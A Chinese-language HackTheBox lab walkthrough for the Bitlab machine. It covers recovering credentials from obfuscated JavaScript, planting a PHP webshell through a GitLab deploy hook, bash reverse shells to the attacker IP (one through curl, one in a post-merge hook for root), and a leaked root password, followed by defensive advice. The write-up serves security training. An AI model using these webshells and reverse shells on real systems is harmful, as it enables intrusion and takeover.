【HTB系列】靶机Bitlab的渗透测试
字数 1546 2025-08-14 12:04:09

Bitlab靶机渗透测试教学文档

0x00 靶机基本信息

  • 靶机IP: 10.10.10.114
  • 攻击机IP: 10.10.14.13 (Kali Linux)
  • 开放服务:
    • 22/tcp - OpenSSH 7.6p1 Ubuntu
    • 80/tcp - nginx (GitLab服务)

0x01 初始信息收集

端口扫描

使用Nmap进行扫描:

nmap --sC --sV --oA bitlab 10.10.10.114

扫描结果:

  • 22端口: OpenSSH 7.6p1 Ubuntu
  • 80端口: nginx运行GitLab服务
    • robots.txt显示55个禁止访问的目录
    • 网页标题为"Sign in · GitLab"

目录扫描

使用Gobuster进行目录扫描:

gobuster dir --u "http://10.10.10.114/" --w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --t 150 --s 200,204,301,307,401,403 --o bitlab.gobuster

扫描结果中/help/bookmarks.html文件值得关注。

0x02 漏洞发现与利用

1. 获取GitLab凭据

/help/bookmarks.html中发现JavaScript代码:

javascript:(function(){var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]=_0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]=_0x4b18[5];})()

解码后得到:

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];

因此登录凭据为:

  • 用户名: clave
  • 密码: 11des0081x

2. 登录GitLab并发现Webhook

登录后发现两个仓库:

  1. Profile
  2. Deployer

在Deployer仓库中发现index.php文件,这是一个Git钩子文件,当Profile仓库合并新提交时会执行命令:

<?php
// index.php
chdir("/var/www/html/profile/");
shell_exec("sudo git pull");
?>

3. 利用Git Hook上传Webshell

步骤:

  1. 切换到Profile仓库
  2. 创建新分支
  3. 在新分支上创建Webshell文件(如dfz.php)
  4. 创建合并请求并批准
  5. 由于Git Hook会自动执行sudo git pull,Webshell会被拉取到服务器

Webshell示例(dfz.php):

<?php system($_GET['cmd']); ?>

验证Webshell:

curl --G "http://10.10.10.114/profile/dfz.php" --data-urlencode 'cmd=whoami'

4. 获取反弹Shell

在Kali上监听:

nc -lvnp 4444

通过Webshell执行反弹Shell命令:

curl --G "http://10.10.10.114/profile/dfz.php" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.13/4444 0>&1"'

优化反弹Shell环境:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

0x03 权限提升

方法一: 利用Git Hook提权

  1. 检查sudo权限:
sudo -l

结果显示www-data用户可以无密码以root权限执行git pull命令。

  1. 利用Git Hook:
  • Git在执行pull时会触发post-merge钩子
  • 在本地创建post-merge文件:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.13/9000 0>&1'
  • 赋予执行权限:
chmod +x post-merge
  1. 触发提权:
  • 在仓库中添加新文件并提交
  • 执行sudo git pull
  • Kali上监听9000端口获取root shell

方法二: 通过数据库凭据获取root

  1. 在Profile仓库的TODO中发现线索
  2. 访问http://10.10.10.114/users/clave/snippets找到PostgreSQL代码片段
  3. 使用找到的凭据登录PostgreSQL获取敏感信息
  4. 在clave用户家目录发现RemoteConnection.exe文件
  5. 使用逆向工具分析该文件,发现root密码:
Qf7]8YSV.wDNF*[7d?j&eD4^

0x04 关键知识点总结

  1. JavaScript代码分析: 从十六进制编码的JS中提取凭据
  2. GitLab权限利用: 通过合法凭据访问GitLab并发现自动化部署机制
  3. Git Hook利用: 利用自动化部署机制上传Webshell
  4. Webshell使用: 通过参数化命令执行获取初始立足点
  5. Shell环境优化: 改善反弹Shell的可用性
  6. Sudo权限提升: 分析sudo -l结果寻找提权路径
  7. Git Hook提权: 利用post-merge钩子获取root权限
  8. 备用提权路径: 通过数据库凭据和逆向工程获取root密码

0x05 防御建议

  1. 避免在客户端存储敏感凭据
  2. 限制Git Hook的执行权限
  3. 谨慎配置sudo权限
  4. 定期审计自动化脚本和部署流程
  5. 避免在版本控制系统中存储敏感信息
  6. 实施最小权限原则
Bitlab靶机渗透测试教学文档 0x00 靶机基本信息 靶机IP: 10.10.10.114 攻击机IP: 10.10.14.13 (Kali Linux) 开放服务: 22/tcp - OpenSSH 7.6p1 Ubuntu 80/tcp - nginx (GitLab服务) 0x01 初始信息收集 端口扫描 使用Nmap进行扫描: 扫描结果: 22端口: OpenSSH 7.6p1 Ubuntu 80端口: nginx运行GitLab服务 robots.txt显示55个禁止访问的目录 网页标题为"Sign in · GitLab" 目录扫描 使用Gobuster进行目录扫描: 扫描结果中 /help/bookmarks.html 文件值得关注。 0x02 漏洞发现与利用 1. 获取GitLab凭据 在 /help/bookmarks.html 中发现JavaScript代码: 解码后得到: 因此登录凭据为: 用户名: clave 密码: 11des0081x 2. 登录GitLab并发现Webhook 登录后发现两个仓库: Profile Deployer 在Deployer仓库中发现 index.php 文件,这是一个Git钩子文件,当Profile仓库合并新提交时会执行命令: 3. 利用Git Hook上传Webshell 步骤: 切换到Profile仓库 创建新分支 在新分支上创建Webshell文件(如 dfz.php ) 创建合并请求并批准 由于Git Hook会自动执行 sudo git pull ,Webshell会被拉取到服务器 Webshell示例( dfz.php ): 验证Webshell: 4. 获取反弹Shell 在Kali上监听: 通过Webshell执行反弹Shell命令: 优化反弹Shell环境: 0x03 权限提升 方法一: 利用Git Hook提权 检查sudo权限: 结果显示 www-data 用户可以无密码以root权限执行 git pull 命令。 利用Git Hook: Git在执行 pull 时会触发 post-merge 钩子 在本地创建 post-merge 文件: 赋予执行权限: 触发提权: 在仓库中添加新文件并提交 执行 sudo git pull Kali上监听9000端口获取root shell 方法二: 通过数据库凭据获取root 在Profile仓库的TODO中发现线索 访问 http://10.10.10.114/users/clave/snippets 找到PostgreSQL代码片段 使用找到的凭据登录PostgreSQL获取敏感信息 在clave用户家目录发现 RemoteConnection.exe 文件 使用逆向工具分析该文件,发现root密码: 0x04 关键知识点总结 JavaScript代码分析 : 从十六进制编码的JS中提取凭据 GitLab权限利用 : 通过合法凭据访问GitLab并发现自动化部署机制 Git Hook利用 : 利用自动化部署机制上传Webshell Webshell使用 : 通过参数化命令执行获取初始立足点 Shell环境优化 : 改善反弹Shell的可用性 Sudo权限提升 : 分析sudo -l结果寻找提权路径 Git Hook提权 : 利用post-merge钩子获取root权限 备用提权路径 : 通过数据库凭据和逆向工程获取root密码 0x05 防御建议 避免在客户端存储敏感凭据 限制Git Hook的执行权限 谨慎配置sudo权限 定期审计自动化脚本和部署流程 避免在版本控制系统中存储敏感信息 实施最小权限原则